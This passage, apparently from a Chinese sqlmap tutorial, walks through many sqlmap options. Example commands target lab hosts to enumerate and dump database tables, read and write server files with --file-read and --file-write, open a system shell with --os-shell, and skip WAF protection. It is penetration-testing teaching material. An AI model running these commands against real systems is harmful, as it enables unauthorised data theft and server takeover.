十四、sqlmap 列举数据库名 –dbs
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” –dbs
sqlmap 枚举数据库表
–tables枚举表名 –>指定具体数据库 -D 数据库名(security)
–exclude-sysdbs(排除系统数据库)
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” –tables
(2) python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” -D security –tables
(3)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” –tables –exclude-sysdbs
sqlmap 枚举数据表列
–columns -D 指定数据库 -T指定数据表 -C 指定具体字段
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” –columns
(2)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” -D sqlinjection -T users –columns
(3)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” -D sqlinjection -T users –columns -C
sqlmap 枚举数据值
(1) python sqlmap.py -u “http://192.168.52.130/sqlinjection/example6/?group=username” -D sqlinjection -T users -C “custom” –dump
十五、sqlmap枚举schema信息–schema,列表将包含所有数据库、表和列,以及他们的类型
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” –schema –exclude-sysdbs
sqlmap检索数据表数量 –count-D(库名)
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” –count -D test
sqlmap获取数据信息
–start,–start,–first,–last
–start 1 –stop 3 获取第二到第三表的名字
–stop 1 获取第一张表的名字
–first 3 –last 5 获取从第三到第五个字符
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” -D sqlinjection –start 1 –stop 3
(2)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” -D sqlinjection –tables –start 1 –stop 3
sqlmap设置条件获取信息 –pivot-column=id 设置独当一无二的列
–where=“id>3”设置条件
–T (表名)
(1)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” -T users –pivot-column id –columns
(2)python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1″ -D sqlinjection -T users –where=”id>2”
(3) python sqlmap.py -u “http://192.168.52.130/sqlinjection/example7/?id=1” -D sqlinjection -T users -C “username” –where=”id>2″
sqlmap 枚举数据值 –dump
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example1.php?name=root” -D sqlinjection -T users -C “username” –dump
十六、 sqlmap暴力破解数据
使用场景mysql<5.0时,mysql中没有元数据库information_schema
–common-tables
–common-columns
十七、sqlmap读取文件
–file-read 路径 读取对应文件内容,注意:此处的路径为绝对路径
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2″ –file-read=”F:\\flag.txt”
–file-write 读取本地文件
–file-dest 将读取的文件写入到远程绝对路径
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2″ –file-write=”F:\\flag.txt” –file-dest=”F:\\flag.txt”
sqlamap检索所有信息 -a 或 –all
(1)sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” -a
十八、 sqlmap执行系统命令–os-shell
(1)sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –os-shell
十九、sqlmap设置盲注字符集
–charset=
在基于布尔和基于时间的sql盲注中,用户可以强制使用自定义字符集来加速数据检索过程
(1)sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –charset=GBK -D test – T users -C “username” –dump
sqlmap爬取url
sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接,使用此选项,用户可以设置一个深度,递归执行这个爬行过程,如果低于设置的深度,
sqlmap不会进入收集阶段
–crawl
–crawl-exclude 字符串,存在字符串的url不进行爬取
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –batch–crawl=3
sqlmap在csv输出中使用的分隔字符
当被转储的数据存储到csv格式(–dump-format=CSV)时,条目必须用”分离值”分隔(默认值是,),如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del=”;”)
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –csv-del=”;” –batch -v3 -D sqlinjection -T users -C username –dump –thread 10
sqlmap设置输出格式
当将存储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML、SQLITE
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ -v3 –batch -D sqlinjection -T users -C username –dump –dump-format=”HTML” –thread 10
二十、sqlmap探测之前检测internet连接,检测当前计算机Internet连接是否正常,确保探测失败不是因为网络拦截问题
–check-internet
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –check-internet
sqlmap解析和测试表单的输入字段
–form
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –form -v 3 –thread 5
sqlmap设置预计完成时间
实时计算和显示估计的到达时间,检索每个查询输出,检索输出的技术是任何sql盲注类型时,就会显示这一点 注意:eta 和 -v 不兼容
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –form –thread 10 –batch -D test -T users -C “user” –dump –eta –technique T
sqlmap刷新会话文件
由于会话文件的概念,所以最好知道您可以使用选项flush-session刷新文件的内容,通过这种方式,您可以避免sqlmap中默认实现的缓存机制.其他可能的方法是手动删除会话文件
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” -D test -T users -C “usernames” –dump –eta –flush-session
sqlmap忽略会话中存储的结果
使用选项–fresh-queries来忽略该文件的内容.通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –dbs –fresh-queries
sqlmap使用Hex函数检索数据
非ascii数据的检索需要特殊的需求.解决这个问题的一个方法是使用DBMS hex函数.数据在被检索之前被编码为十六进制形式,然后被编码为原始形式
–hex
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” –hex -v 3 –batch
sqlmap设置自定义输出路径
sqlamp默认讲会话和结果文件存储在子目录输出中。如果您想在不同的位置,可以使用这个选项(例如–out-dir=/tmp)
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –hex –dump –batch -v 3 –output-dir=”///”
sqlmap从响应页面解析错误
如果web应用程序配置为调试模式, 以便在响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示他们.这对于调试很有用,
比如理解为什么某个枚举或接管开关不起作用—-这可能与会话用户的特权有关
–parse-error
保存sqlmap配置文件 –save
可以将命令行选项保存到配置ini文件中,然后可以使用之前解释的-c选项 编辑生成的文件并将其传递给sqlmap
更新sqlmap –update
(1)python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2” -D test -T users -C “users”–dump –hex -v3 –batch –parse-errors –flush-session
二十 一、sqlmap强制设置DBMS编码
–encoding=”gbk”
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –encoding=”gbk”
sqlmap存储http流量到HAR
–har=”HARFILE”
HAR(HTTP Archive),是一个用来存储HTTP请求/响应信息的通用文件格式,基于JSON
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –dbs –har=”test_192.168.1.100.har”
sqlmap筛选具体playload
–test-filter=“ROW”
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –dbs –test-filter=”ROW” –flush-session -v 3
sqlmap过滤具体playload
–test-skip=“BENCHMARK”
(1) python sqlmap.py -u “http://192.168.186.128/sqli/example4.php?id=2″ –dbs –test-skip=”BENCHMARK” –flush-session -v 3
sqlmap过滤具体playload
针对proxy日志文件使用正则表达式删选目标
–scope=”regex”
二十二、sqlmap 杂项参数缩写
例如: -z flu:–flush-session
–bat:batch
–ban: banner
–tec=EC:technique=EU ERROR UNION
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” -z ban,bat
–alert 当发现sql注入时,运行主机系统命令
(1)”http://192.168.186.128/sqli/example4.php?id=2″ –technique U –alert=”ifconfig” –flush-session
–-beep 当发现sql注入时,发出BB声音
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –beep
–cleanup 清除DBMS udf创建的数据表
–dependencies 查看依赖项
(1)sqlmap –dependencies
sqlmap 不进行高亮显示
–disable-coloring 不进行高亮显示
(1)sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –disable-coloring
查看是否有WAF保护
–identify-waf
(1)sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –identify-waf
–mobile 使用手机端User-Agent
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” -v 3 –mobile
–offline 仅适用session文件,不进行联网探测
–purge-output 清除output目录下的文件
(1) sqlmap –purge-output
–skip-waf忽略waf、ips
(1) sqlmap -u “http://192.168.186.128/sqli/example4.php?id=2” –skip-waf
–sqlmap-shell 使用sqlmap shell
(1) sqlmap –sqlmap-shell
–tmp-dir=TMPDIR 指定本地目录用来存储临时文件
–web–root=WEBROOT指定站点根目录
–wizard 使用向导式的sqlmap
(1) sqlmap –wizard
–answer=ANSEWERS 设置问题答案 例如“quit=N,follow=N”
–gpage=GOOLEPAGE 设置Google Dork的页码数
–smart 智能探测
有些情况下,用户有大量的潜在目标url(例如,提供了选项-m),希望尽快找到一个脆弱的目标。
如果使用–smart,将在扫描中进一步使用数据库管理系统错误的参数,否则跳过他们。